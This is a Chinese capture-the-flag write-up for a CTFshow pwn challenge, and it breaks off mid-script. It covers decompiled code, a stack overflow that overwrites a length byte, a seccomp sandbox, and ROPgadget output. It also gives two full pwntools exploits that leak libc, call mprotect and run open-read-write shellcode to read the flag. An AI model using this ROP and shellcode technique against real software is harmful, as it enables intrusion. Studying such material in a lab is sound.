class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v3; <span class="comment">// rax</span></span><br><span class="line">  _BYTE v5[<span class="number">1032</span>]; <span class="comment">// [rsp+0h] [rbp-420h] BYREF</span></span><br><span class="line">  __int64 v6; <span class="comment">// [rsp+408h] [rbp-18h]</span></span><br><span class="line">  <span class="type">char</span> n10; <span class="comment">// [rsp+417h] [rbp-9h]</span></span><br><span class="line">  __int64 v8; <span class="comment">// [rsp+418h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  is_detail = <span class="number">0</span>;</span><br><span class="line">  go(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  fwrite(<span class="string">&quot;&gt;&gt; &quot;</span>, <span class="number">1u</span>, <span class="number">3u</span>, _bss_start);</span><br><span class="line">  fflush(_bss_start);</span><br><span class="line">  v8 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> ( !feof(<span class="built_in">stdin</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    n10 = fgetc(<span class="built_in">stdin</span>);</span><br><span class="line">    <span class="keyword">if</span> ( n10 == <span class="number">10</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v3 = v8++;</span><br><span class="line">    v6 = v3;</span><br><span class="line">    v5[v3] = n10;</span><br><span class="line">  &#125;</span><br><span class="line">  v5[v8] = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)init(v5) )</span><br><span class="line">  &#123;</span><br><span class="line">    qsort(files, size_of_path, <span class="number">0x200u</span>, cmp);</span><br><span class="line">    search_file_info();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    fflush(_bss_start);</span><br><span class="line">    set_secommp();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>feof函数的作用就是判断<strong>文件流的结束符</strong>。</p><p>没有接受到结束符时就一直执行while循环，然后接受用户的输入。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x418</span> + p8(<span class="number">0x28</span>) </span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">填充v5，v6，n10，v8；</span></span><br><span class="line"><span class="string">修改 v8 的第一个字节为 0x28</span></span><br><span class="line"><span class="string">v8 是记录输入长度的变量，程序会在 v5[v8] 处添加 null 终止符。</span></span><br><span class="line"><span class="string">当 v8 被改为 0x28 后，v5[0x28] 会被设为 0，导致用户输入的路径被截断为 40 字节（前 40 字节有效，后续内容被忽略）。</span></span><br><span class="line"><span class="string">v8 是 8 字节变量，但我们只需要修改它的低字节就能达到目的[p8()]</span></span><br><span class="line"><span class="string">这个是调试出来的【下次补】</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><p>跟进init():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">init</span><span class="params">(<span class="type">char</span> *path)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 n0x4000; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">char</span> *v2; <span class="comment">// rax</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">stat_buf</span>;</span> <span class="comment">// [rsp+10h] [rbp-1A0h] BYREF</span></span><br><span class="line">  <span class="type">char</span> ptr[<span class="number">256</span>]; <span class="comment">// [rsp+A0h] [rbp-110h] BYREF</span></span><br><span class="line">  <span class="type">char</span> *src; <span class="comment">// [rsp+1A0h] [rbp-10h]</span></span><br><span class="line">  _BYTE *v6; <span class="comment">// [rsp+1A8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  size_of_path = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)stat(path, &amp;stat_buf) == <span class="number">-1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">strcpy</span>(ptr, <span class="string">&quot;Can&#x27;t get the information of the given path.\n&quot;</span>);</span><br><span class="line">    fwrite(ptr, <span class="number">1u</span>, <span class="number">0x2Eu</span>, _bss_start);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( (stat_buf.st_mode &amp; <span class="number">0xF000</span>) == <span class="number">0x8000</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    size_of_path = <span class="number">1</span>;</span><br><span class="line">    src = __xpg_basename(path);</span><br><span class="line">    <span class="built_in">strcpy</span>(files, src);</span><br><span class="line">    <span class="built_in">strcpy</span>(dest, path);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    n0x4000 = stat_buf.st_mode &amp; <span class="number">0xF000</span>;</span><br><span class="line">    <span class="keyword">if</span> ( (_DWORD)n0x4000 == <span class="number">0x4000</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( path[<span class="built_in">strlen</span>(path) - <span class="number">1</span>] != <span class="number">47</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v2 = &amp;path[<span class="built_in">strlen</span>(path)];</span><br><span class="line">        v6 = v2 + <span class="number">1</span>;</span><br><span class="line">        *v2 = <span class="number">47</span>;</span><br><span class="line">        *v6 = <span class="number">0</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      get_dir_detail(path);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> n0x4000;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>逻辑看起来不明所以可能</p><p>注意到程序还开启了沙箱set_secommp()：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">set_secommp</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v0; <span class="comment">// rcx</span></span><br><span class="line">  __int64 v1; <span class="comment">// r8</span></span><br><span class="line">  __int64 v2; <span class="comment">// r9</span></span><br><span class="line">  __int16 n8; <span class="comment">// [rsp+0h] [rbp-50h] BYREF</span></span><br><span class="line">  __int16 *p_n32; <span class="comment">// [rsp+8h] [rbp-48h]</span></span><br><span class="line">  __int16 n32; <span class="comment">// [rsp+10h] [rbp-40h] BYREF</span></span><br><span class="line">  <span class="type">char</span> v7; <span class="comment">// [rsp+12h] [rbp-3Eh]</span></span><br><span class="line">  <span class="type">char</span> v8; <span class="comment">// [rsp+13h] [rbp-3Dh]</span></span><br><span class="line">  <span class="type">int</span> n4; <span class="comment">// [rsp+14h] [rbp-3Ch]</span></span><br><span class="line">  __int16 n21; <span class="comment">// [rsp+18h] [rbp-38h]</span></span><br><span class="line">  <span class="type">char</span> v11; <span class="comment">// [rsp+1Ah] [rbp-36h]</span></span><br><span class="line">  <span class="type">char</span> n5; <span class="comment">// [rsp+1Bh] [rbp-35h]</span></span><br><span class="line">  <span class="type">int</span> v13; <span class="comment">// [rsp+1Ch] [rbp-34h]</span></span><br><span class="line">  __int16 n32_1; <span class="comment">// [rsp+20h] [rbp-30h]</span></span><br><span class="line">  <span class="type">char</span> v15; <span class="comment">// [rsp+22h] [rbp-2Eh]</span></span><br><span class="line">  <span class="type">char</span> v16; <span class="comment">// [rsp+23h] [rbp-2Dh]</span></span><br><span class="line">  <span class="type">int</span> v17; <span class="comment">// [rsp+24h] [rbp-2Ch]</span></span><br><span class="line">  __int16 n53; <span class="comment">// [rsp+28h] [rbp-28h]</span></span><br><span class="line">  <span class="type">char</span> v19; <span class="comment">// [rsp+2Ah] [rbp-26h]</span></span><br><span class="line">  <span class="type">char</span> v20; <span class="comment">// [rsp+2Bh] [rbp-25h]</span></span><br><span class="line">  <span class="type">int</span> n0x40000000; <span class="comment">// [rsp+2Ch] [rbp-24h]</span></span><br><span class="line">  __int16 n21_1; <span class="comment">// [rsp+30h] [rbp-20h]</span></span><br><span class="line">  <span class="type">char</span> v23; <span class="comment">// [rsp+32h] [rbp-1Eh]</span></span><br><span class="line">  <span class="type">char</span> n2; <span class="comment">// [rsp+33h] [rbp-1Dh]</span></span><br><span class="line">  <span class="type">int</span> v25; <span class="comment">// [rsp+34h] [rbp-1Ch]</span></span><br><span class="line">  __int16 n21_2; <span class="comment">// [rsp+38h] [rbp-18h]</span></span><br><span class="line">  <span class="type">char</span> v27; <span class="comment">// [rsp+3Ah] [rbp-16h]</span></span><br><span class="line">  <span class="type">char</span> v28; <span class="comment">// [rsp+3Bh] [rbp-15h]</span></span><br><span class="line">  <span class="type">int</span> n59; <span class="comment">// [rsp+3Ch] [rbp-14h]</span></span><br><span class="line">  __int16 n6; <span class="comment">// [rsp+40h] [rbp-10h]</span></span><br><span class="line">  <span class="type">char</span> v31; <span class="comment">// [rsp+42h] [rbp-Eh]</span></span><br><span class="line">  <span class="type">char</span> v32; <span class="comment">// [rsp+43h] [rbp-Dh]</span></span><br><span class="line">  <span class="type">int</span> n2147418112; <span class="comment">// [rsp+44h] [rbp-Ch]</span></span><br><span class="line">  __int16 n6_1; <span class="comment">// [rsp+48h] [rbp-8h]</span></span><br><span class="line">  <span class="type">char</span> v35; <span class="comment">// [rsp+4Ah] [rbp-6h]</span></span><br><span class="line">  <span class="type">char</span> v36; <span class="comment">// [rsp+4Bh] [rbp-5h]</span></span><br><span class="line">  <span class="type">int</span> v37; <span class="comment">// [rsp+4Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  prctl(<span class="number">38</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">  n32 = <span class="number">32</span>;</span><br><span class="line">  v7 = <span class="number">0</span>;</span><br><span class="line">  v8 = <span class="number">0</span>;</span><br><span class="line">  n4 = <span class="number">4</span>;</span><br><span class="line">  n21 = <span class="number">21</span>;</span><br><span class="line">  v11 = <span class="number">0</span>;</span><br><span class="line">  n5 = <span class="number">5</span>;</span><br><span class="line">  v13 = <span class="number">-1073741762</span>;</span><br><span class="line">  n32_1 = <span class="number">32</span>;</span><br><span class="line">  v15 = <span class="number">0</span>;</span><br><span class="line">  v16 = <span class="number">0</span>;</span><br><span class="line">  v17 = <span class="number">0</span>;</span><br><span class="line">  n53 = <span class="number">53</span>;</span><br><span class="line">  v19 = <span class="number">0</span>;</span><br><span class="line">  v20 = <span class="number">1</span>;</span><br><span class="line">  n0x40000000 = <span class="number">0x40000000</span>;</span><br><span class="line">  n21_1 = <span class="number">21</span>;</span><br><span class="line">  v23 = <span class="number">0</span>;</span><br><span class="line">  n2 = <span class="number">2</span>;</span><br><span class="line">  v25 = <span class="number">-1</span>;</span><br><span class="line">  n21_2 = <span class="number">21</span>;</span><br><span class="line">  v27 = <span class="number">1</span>;</span><br><span class="line">  v28 = <span class="number">0</span>;</span><br><span class="line">  n59 = <span class="number">59</span>;</span><br><span class="line">  n6 = <span class="number">6</span>;</span><br><span class="line">  v31 = <span class="number">0</span>;</span><br><span class="line">  v32 = <span class="number">0</span>;</span><br><span class="line">  n2147418112 = <span class="number">2147418112</span>;</span><br><span class="line">  n6_1 = <span class="number">6</span>;</span><br><span class="line">  v35 = <span class="number">0</span>;</span><br><span class="line">  v36 = <span class="number">0</span>;</span><br><span class="line">  v37 = <span class="number">0</span>;</span><br><span class="line">  n8 = <span class="number">8</span>;</span><br><span class="line">  p_n32 = &amp;n32;</span><br><span class="line">  <span class="keyword">return</span> prctl(<span class="number">22</span>, <span class="number">2</span>, &amp;n8, v0, v1, v2);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序的关键就是看各个函数以及了解⼀些结构体，如果对这些毫不了解，那么简单尝试运⾏程序：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Clear thinking</span><br><span class="line">    * *************************************</span><br><span class="line">&gt;&gt; aaaa</span><br><span class="line">Can<span class="string">&#x27;t get the information of the given path.</span></span><br></pre></td></tr></table></figure><p>随便输⼊，然后回显⼀个：Can’t get the information of the given path.（⽆法获取给定路径的信</p><p>息。）</p><p>那么尝试给定⼀个路径试试 尝试根⽬录（&#x2F;）:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Clear thinking</span><br><span class="line">    * *************************************</span><br><span class="line">&gt;&gt; /</span><br><span class="line">drwxr-xr-x   1          root          root     4096   Wed Aug 20 07:43:27 2025 bin</span><br><span class="line">drwxr-xr-x   2          root          root     4096   Sat Jun  7 12:53:10 2025 bin.usr-is-merged</span><br><span class="line">drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 boot</span><br><span class="line">-rw-r--r--   1          root          root       17   Thu Jul 17 07:52:36 2025 canary.txt</span><br><span class="line">-rw-r--r--   1          root          root       27   Thu Aug 21 01:08:03 2025 ctfshow_flag</span><br><span class="line">drwxrwxr-x   4        ubuntu        ubuntu     4096   Thu Aug 21 01:49:20 2025 CTFshow_pwn</span><br><span class="line">drwxr-xr-x   5          root          root      340   Thu Aug 21 00:58:32 2025 dev</span><br><span class="line">drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:08:44 2025 etc</span><br><span class="line">drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:07:01 2025 home</span><br><span class="line">drwxr-xr-x   1          root          root     4096   Mon Jul 21 15:50:54 2025 lib</span><br><span class="line">drwxr-xr-x   2          root          root     4096   Sat Jun  7 12:53:10 2025 lib.usr-is-merged</span><br><span class="line">drwxr-xr-x   1          root          root     4096   Sat Jun  7 12:35:20 2025 lib32</span><br><span class="line">drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 lib64</span><br><span class="line">drwxr-xr-x   3          root          root     4096   Sat Jun  7 12:33:06 2025 libx32</span><br><span class="line">drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 media</span><br><span class="line">drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 mnt</span><br><span class="line">drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 opt</span><br><span class="line">-rw-r--r--   1          root          root       34   Thu Jul 17 07:42:43 2025 password.txt</span><br><span class="line">drwxr-xr-x   1        ubuntu        ubuntu     4096   Sat Jun  7 12:53:10 2025 pip_venv</span><br><span class="line">dr-xr-xr-x 416          root          root        0   Thu Aug 21 00:58:32 2025 proc</span><br><span class="line">drwxr-xr-x   1        ubuntu        ubuntu     4096   Tue Aug 19 10:48:00 2025 pwndbg</span><br><span class="line">drwx------   1          root          root     4096   Sat Jun  7 12:53:11 2025 root</span><br><span class="line">drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:07:01 2025 run</span><br><span class="line">drwxr-xr-x   1          root          root     4096   Sat Jun  7 12:53:11 2025 sbin</span><br><span class="line">drwxr-xr-x   2          root          root     4096   Sat Jun  7 11:55:23 2025 srv</span><br><span class="line">dr-xr-xr-x  13          root          root        0   Thu Aug 21 00:58:32 2025 sys</span><br><span class="line">drwxrwxrwx   1          root          root   516096   Wed Jul  9 13:07:07 2025 tmp</span><br><span class="line">drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:07:02 2025 usr</span><br><span class="line">drwxr-xr-x   1          root          root     4096   Wed Jul  9 13:07:01 2025 var</span><br></pre></td></tr></table></figure><p>发现能够看到给定路径下的⽂件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Clear thinking</span><br><span class="line">    * *************************************</span><br><span class="line">&gt;&gt; /ctfshow_flag</span><br><span class="line">-rw-r--r--   1          root          root       27   Thu Aug 21 01:08:03 2025 ctfshow_flag</span><br></pre></td></tr></table></figure><p>但是仅仅能看到⽂件信息，并不能获取到⽂件内容。[此时为本地运⾏]，⾄此，我们⼤概了解了这个程</p><p>序的作⽤。</p><p>回到函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">stat</span><span class="params">(<span class="type">char</span> *filename, <span class="keyword">struct</span> stat *stat_buf)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> __xstat(<span class="number">1</span>, filename, stat_buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个函数能获取⽂件的各种属性</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">else if ( (stat_buf.st_mode &amp; 0xF000) == 0x8000 )</span><br><span class="line">&#123;</span><br><span class="line">  size_of_path = 1;</span><br><span class="line">  src = __xpg_basename(path);</span><br><span class="line">  strcpy(files, src);</span><br><span class="line">  strcpy(dest, path);</span><br><span class="line">  return 1;</span><br><span class="line">&#125;</span><br><span class="line">else</span><br><span class="line">&#123;</span><br><span class="line">  n0x4000 = stat_buf.st_mode &amp; 0xF000;</span><br><span class="line">  if ( (_DWORD)n0x4000 == 0x4000 )</span><br><span class="line">  &#123;</span><br><span class="line">    if ( path[strlen(path) - 1] != 47 )</span><br><span class="line">    &#123;</span><br><span class="line">      v2 = &amp;path[strlen(path)];</span><br><span class="line">      v6 = v2 + 1;</span><br><span class="line">      *v2 = 47;</span><br><span class="line">      *v6 = 0;</span><br><span class="line">    &#125;</span><br><span class="line">    get_dir_detail(path);</span><br><span class="line">    return 1;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">return n0x4000;</span><br></pre></td></tr></table></figure><p>__xstat返回的其实是⽂件的stat结构体，⾥⾯会记录⽂件的类型和权限。⽤结构体⾥⾯的mode出来进</p><p>⾏判断。</p><p>程序中有⼀个判断，当我们输⼊的⽂件路径有问题，它就会返回0，然后进⼊沙箱中，那么我们就可以</p><p>任意输⼊，使其出错进⼊沙箱进⾏沙箱ROP，还是⾮常简单的。</p><p>先泄漏地址，再通过mprotect函数修改权限然后orw进⾏读flag，flag名称我们可以在远程连接的时候</p><p>输⼊路径即可看到flag⽂件格式，详细过程这⾥不再概述⻅exp。</p><p><strong>漏洞分析:</strong></p><ol><li><strong>栈溢出点</strong>：<code>main</code>函数中对用户输入的处理存在栈溢出。输入数据存储在<code>v5</code>数组（大小为<code>0x408</code>字节），其位于栈上的地址为<code>[rbp-0x420]</code>。超过<code>0x420</code>字节的输入会覆盖<code>rbp</code>及返回地址，导致控制流劫持。</li><li><strong>进入沙箱条件</strong>：当输入的路径无效时，<code>init</code>函数返回<code>0</code>，程序会调用<code>set_secommp()</code>开启沙箱。此时可利用溢出控制返回地址，执行 ROP。</li><li><strong>沙箱与目标</strong>：沙箱限制了系统调用，但允许<code>open</code>、<code>read</code>、<code>write</code>等基础 I&#x2F;O 操作（可通过程序行为推断）。目标是通过 ROP 构造<code>open-&gt;read-&gt;write</code>（ORW）链，读取<code>/ctfshow_flag</code>。</li></ol><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;pop rdi ; ret&quot;</span></span><br><span class="line">0x0000000000401ba3 : pop rdi ; ret</span><br><span class="line"></span><br><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;ret&quot;</span></span><br><span class="line">0x0000000000400640 : ret</span><br><span class="line"></span><br><span class="line">$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so --only <span class="string">&quot;pop|ret&quot;</span> | grep <span class="string">&quot;rsi&quot;</span></span><br><span class="line">0x0000000000023e6a : pop rsi ; ret</span><br><span class="line"></span><br><span class="line">$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so --only <span class="string">&quot;pop|ret&quot;</span> | grep <span class="string">&quot;rdx&quot;</span></span><br><span class="line">0x0000000000001b96 : pop rdx ; ret</span><br><span class="line"><span class="comment">#$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so | grep &quot;pop rsi ; ret&quot;</span></span><br><span class="line"><span class="comment">#$ ROPgadget --binary ./libc6_2.27-3ubuntu1_amd64.so | grep &quot;pop rdx ; ret&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-database/db/libc6_2.27-3ubuntu1_amd64.so&quot;</span>)</span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">pop_rdi = <span class="number">0x401ba3</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x418</span> + p8(<span class="number">0x28</span>) </span><br><span class="line">payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) <span class="comment">#ROP链:调用puts(puts_got)，打印puts的实际地址</span></span><br><span class="line">payload += p64(main) <span class="comment">#调用完puts后跳回main函数，方便第二次攻击</span></span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;&gt;&gt; &#x27;</span>, payload)</span><br><span class="line">puts = u64(io.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:] + <span class="string">b&#x27;\x00\x00&#x27;</span>) <span class="comment">#64位地址特征：以\x7f开头，取最后6字节补全为8字节;puts_addr = u64(io.recvuntil(b&quot;\x7f&quot;)[-6:].ljust(8,b&quot;\x00&quot;))</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(puts))</span><br><span class="line">libc_base = puts - libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(libc_base))</span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x418</span> + p8(<span class="number">0x28</span>)</span><br><span class="line">payload += p64(pop_rdi) + p64(elf.bss()) <span class="comment">#传参：bss段地址（可写内存区域）</span></span><br><span class="line">payload += p64(libc_base + libc.sym[<span class="string">&#x27;gets&#x27;</span>]) <span class="comment">#调用gets函数，从输入读取数据到bss段</span></span><br><span class="line">payload += p64(pop_rdi) + p64(elf.bss() &amp; <span class="number">0xfffffffffffff000</span>) <span class="comment">#传参：bss段所在页的起始地址（页对齐）</span></span><br><span class="line">payload += p64(libc_base + <span class="number">0x23e6a</span>) + p64(<span class="number">0x1000</span>) <span class="comment">#传参：页大小（0x1000），使用libc中的pop rsi; ret gadget</span></span><br><span class="line">payload += p64(libc_base + <span class="number">0x1b96</span>) <span class="comment"># 使用libc中的pop rdx; ret gadget</span></span><br><span class="line">payload += p64(<span class="number">7</span>) + p64(libc_base + libc.sym[<span class="string">&#x27;mprotect&#x27;</span>])  <span class="comment"># 调用mprotect(地址, 0x1000, 7)，权限7=读+写+执行</span></span><br><span class="line">payload += p64(elf.bss()) <span class="comment"># 跳转到bss段（此时已可执行）</span></span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;&gt;&gt; &#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line">shellcode = asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">mov rax, 0x67616c662f2e  </span></span><br><span class="line"><span class="string">push rax                 </span></span><br><span class="line"><span class="string">mov rdi, rsp             </span></span><br><span class="line"><span class="string">xor esi, esi             </span></span><br><span class="line"><span class="string">mov eax, 2               </span></span><br><span class="line"><span class="string">syscall                  </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">cmp eax, 0               </span></span><br><span class="line"><span class="string">jg next                  </span></span><br><span class="line"><span class="string">push 1                </span></span><br><span class="line"><span class="string">mov edi, 1               </span></span><br><span class="line"><span class="string">mov rsi, rsp             </span></span><br><span class="line"><span class="string">mov edx, 4              </span></span><br><span class="line"><span class="string">mov eax, edi           </span></span><br><span class="line"><span class="string">syscall</span></span><br><span class="line"><span class="string">jmp exit                 </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">next:</span></span><br><span class="line"><span class="string">mov edi, eax             </span></span><br><span class="line"><span class="string">mov rsi, rsp            </span></span><br><span class="line"><span class="string">mov edx, 0x100           </span></span><br><span class="line"><span class="string">xor eax, eax            </span></span><br><span class="line"><span class="string">syscall                 </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov edx, eax            </span></span><br><span class="line"><span class="string">mov edi, 1               </span></span><br><span class="line"><span class="string">mov rsi, rsp             </span></span><br><span class="line"><span class="string">mov eax, edi            </span></span><br><span class="line"><span class="string">syscall                </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">exit:</span></span><br><span class="line"><span class="string">xor edi, edi             </span></span><br><span class="line"><span class="string">mov eax, 231             </span></span><br><span class="line"><span class="string">syscall                 </span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.sendline(shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>,arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">io = remote(<span class="string">&quot;pwn.challenge.ctf.show&quot;</span>,<span class="number">28240</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"></span><br><span class="line">ret = <span class="number">0x400640</span></span><br><span class="line">pop_rdi_ret = <span class="number">0x401ba3</span></span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">main_ret = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">data = <span class="number">0x603000</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&quot;&gt;&gt; &quot;</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;A&quot;</span>*<span class="number">0x418</span> + p8(<span class="number">0x28</span>) + p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_ret)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">puts_addr = u64(io.recvuntil(<span class="string">b&quot;\x7f&quot;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">b&quot;\x00&quot;</span>))</span><br><span class="line">libc = LibcSearcher(<span class="string">&quot;puts&quot;</span>,puts_addr)</span><br><span class="line">libc_base = puts_addr-libc.dump(<span class="string">&#x27;puts&#x27;</span>)</span><br><span class="line">mprotect_addr = libc_base+libc.dump(<span class="string">&quot;mprotect&quot;</span>)</span><br><span class="line">pop_rdx = libc_base+<span class="number">0x1b96</span></span><br><span class="line">pop_rsi = libc_base+<span class="number">0x23e6a</span></span><br><span class="line">gets_addr = libc_base+libc.dump(<span class="string">&quot;gets&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;libc_base:&quot;</span>,<span class="built_in">hex</span>(libc_base))</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&quot;&gt;&gt; &quot;</span>)</span><br><span class="line">payload = <span class="string">b&quot;A&quot;</span>*<span class="number">0x418</span>+p8(<span class="number">0x28</span>)+p64(pop_rdi_ret)+ p64(data)</span><br><span class="line">payload += p64(gets_addr)+p64(pop_rdi_ret)+p64(data)</span><br><span class="line">payload += p64(pop_rsi)+p64(<span class="number">0x1000</span>)+p64(pop_rdx)</span><br><span class="line">payload += p64(<span class="number">7</span>)+p64(mprotect_addr)+ p64(data)</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">getflag = asm(shellcraft.cat(<span class="string">&quot;/flag&quot;</span>))</span><br><span class="line">io.sendline(getflag)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#方法一</span></span><br><span class="line">sh = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span 